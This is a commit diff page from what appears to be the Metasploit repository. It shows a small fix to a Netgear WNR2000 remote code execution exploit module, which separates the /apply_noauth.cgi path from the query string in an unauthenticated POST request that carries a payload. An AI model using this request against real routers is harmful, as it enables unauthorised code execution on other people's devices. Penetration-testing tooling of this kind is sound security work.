Skip to content

Commit 2315100

Browse files
committed
Fix uri_str for exploit
1 parent bee36ca commit 2315100

File tree

1 file changed

+5
-4
lines changed

1 file changed

+5
-4
lines changed

modules/exploits/linux/http/netgear_wnr2000_rce.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -174,11 +174,12 @@ def get_payload
174174

175175
def send_req(timestamp)
176176
begin
177-
uri_str = (timestamp == nil ? \
178-
"/apply_noauth.cgi?/lang_check.html" : \
179-
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
177+
query_str = (timestamp == nil ? \
178+
'/lang_check.html' : \
179+
"/lang_check.html%20timestamp=#{timestamp.to_s}")
180180
res = send_request_raw({
181-
'uri' => uri_str,
181+
'uri' => '/apply_noauth.cgi',
182+
'query' => query_str,
182183
'method' => 'POST',
183184
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
184185
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"

0 commit comments

Comments
 (0)